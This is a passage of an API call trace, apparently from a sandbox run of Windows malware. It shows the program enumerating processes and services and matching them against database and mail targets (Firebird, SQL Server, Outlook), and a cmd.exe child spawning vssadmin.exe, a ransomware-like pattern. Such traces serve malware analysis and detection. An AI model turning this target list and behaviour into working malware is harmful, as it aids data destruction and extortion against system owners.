[0059.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.296] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.296] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.297] lstrlenW (lpString="csrss.exe") returned 9 [0059.297] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.297] lstrlenW (lpString="winlogon.exe") returned 12 [0059.297] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.298] lstrlenW (lpString="services.exe") returned 12 [0059.298] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.298] lstrlenW (lpString="lsass.exe") returned 9 [0059.298] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.299] lstrlenW (lpString="lsm.exe") returned 7 [0059.299] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.299] lstrlenW (lpString="svchost.exe") returned 11 [0059.299] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.300] lstrlenW (lpString="svchost.exe") returned 11 [0059.300] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.301] lstrlenW (lpString="svchost.exe") returned 11 [0059.301] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.301] lstrlenW (lpString="svchost.exe") returned 11 [0059.301] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.302] lstrlenW (lpString="svchost.exe") returned 11 [0059.302] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.302] lstrlenW (lpString="audiodg.exe") returned 11 [0059.302] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.303] lstrlenW (lpString="svchost.exe") returned 11 [0059.303] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.303] lstrlenW (lpString="svchost.exe") returned 11 [0059.303] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.304] lstrlenW (lpString="dwm.exe") returned 7 [0059.304] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.304] lstrlenW (lpString="explorer.exe") returned 12 [0059.304] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.305] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.305] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.305] lstrlenW (lpString="taskhost.exe") returned 12 [0059.305] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.306] lstrlenW (lpString="svchost.exe") returned 11 [0059.306] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.306] lstrlenW (lpString="taskeng.exe") returned 11 [0059.307] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.307] lstrlenW (lpString="taskhost.exe") returned 12 [0059.307] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0059.308] lstrlenW (lpString="promotesrouting.exe") returned 19 [0059.308] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0059.308] lstrlenW (lpString="rxcalled.exe") returned 12 [0059.308] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0059.309] lstrlenW (lpString="off.exe") returned 7 [0059.309] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0059.309] lstrlenW (lpString="mayorintl.exe") returned 13 [0059.310] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0059.310] lstrlenW (lpString="gzip-june.exe") returned 13 [0059.310] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0059.311] lstrlenW (lpString="lsnavy.exe") returned 10 [0059.311] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0059.311] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0059.311] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0059.312] lstrlenW (lpString="specifications.exe") returned 18 [0059.312] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0059.312] lstrlenW (lpString="soup-mario.exe") returned 14 [0059.312] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0059.313] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0059.313] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0059.313] lstrlenW (lpString="platformsprivate.exe") returned 20 [0059.313] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0059.466] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0059.466] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0059.467] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0059.467] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0059.467] lstrlenW (lpString="scan-allows.exe") returned 15 [0059.467] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0059.468] lstrlenW (lpString="mwprovince.exe") returned 14 [0059.468] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0059.468] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0059.468] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0059.472] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0059.472] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0059.473] lstrlenW (lpString="contacting.exe") returned 14 [0059.473] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0059.473] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0059.473] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0059.474] lstrlenW (lpString="jpmanagers.exe") returned 14 [0059.474] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0059.474] lstrlenW (lpString="motor.exe") returned 9 [0059.474] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0059.475] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0059.475] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0059.475] lstrlenW (lpString="toshiba.exe") returned 11 [0059.475] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.476] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.476] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0059.476] lstrlenW (lpString="mobsync.exe") returned 11 [0059.477] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0059.477] lstrlenW (lpString="3G6885.exe") returned 10 [0059.477] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.478] lstrlenW (lpString="cmd.exe") returned 7 [0059.478] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.478] lstrlenW (lpString="conhost.exe") returned 11 [0059.478] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.480] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.480] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.481] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.481] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.481] lstrlenW (lpString="svchost.exe") returned 11 [0059.482] Process32NextW (in: hSnapshot=0x15c, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.482] CloseHandle (hObject=0x15c) returned 1 [0059.482] Sleep (dwMilliseconds=0x1f4) [0060.168] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ffb8 [0060.169] EnumServicesStatusExW (in: hSCManager=0x63ffb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0060.170] GetLastError () returned 0xea [0060.170] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x36b8758 [0060.170] EnumServicesStatusExW (in: hSCManager=0x63ffb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b8758, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b8758, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0060.171] CloseServiceHandle (hSCObject=0x63ffb8) returned 1 [0060.171] lstrlenW (lpString="Appinfo") returned 7 [0060.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.171] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.171] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.171] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.171] lstrlenW (lpString="AudioSrv") returned 8 [0060.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.172] lstrlenW (lpString="BFE") returned 3 [0060.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.172] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.172] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.172] lstrlenW (lpString="CryptSvc") returned 8 [0060.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.172] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.172] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.172] lstrlenW (lpString="CscService") returned 10 [0060.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.172] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.172] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.172] lstrlenW (lpString="DcomLaunch") returned 10 [0060.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.172] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.172] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.172] lstrlenW (lpString="Dhcp") returned 4 [0060.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.173] lstrlenW (lpString="Dnscache") returned 8 [0060.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.173] lstrlenW (lpString="DPS") returned 3 [0060.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.173] lstrlenW (lpString="eventlog") returned 8 [0060.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.173] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.173] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.173] lstrlenW (lpString="EventSystem") returned 11 [0060.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.173] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.173] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.173] lstrlenW (lpString="gpsvc") returned 5 [0060.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.174] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 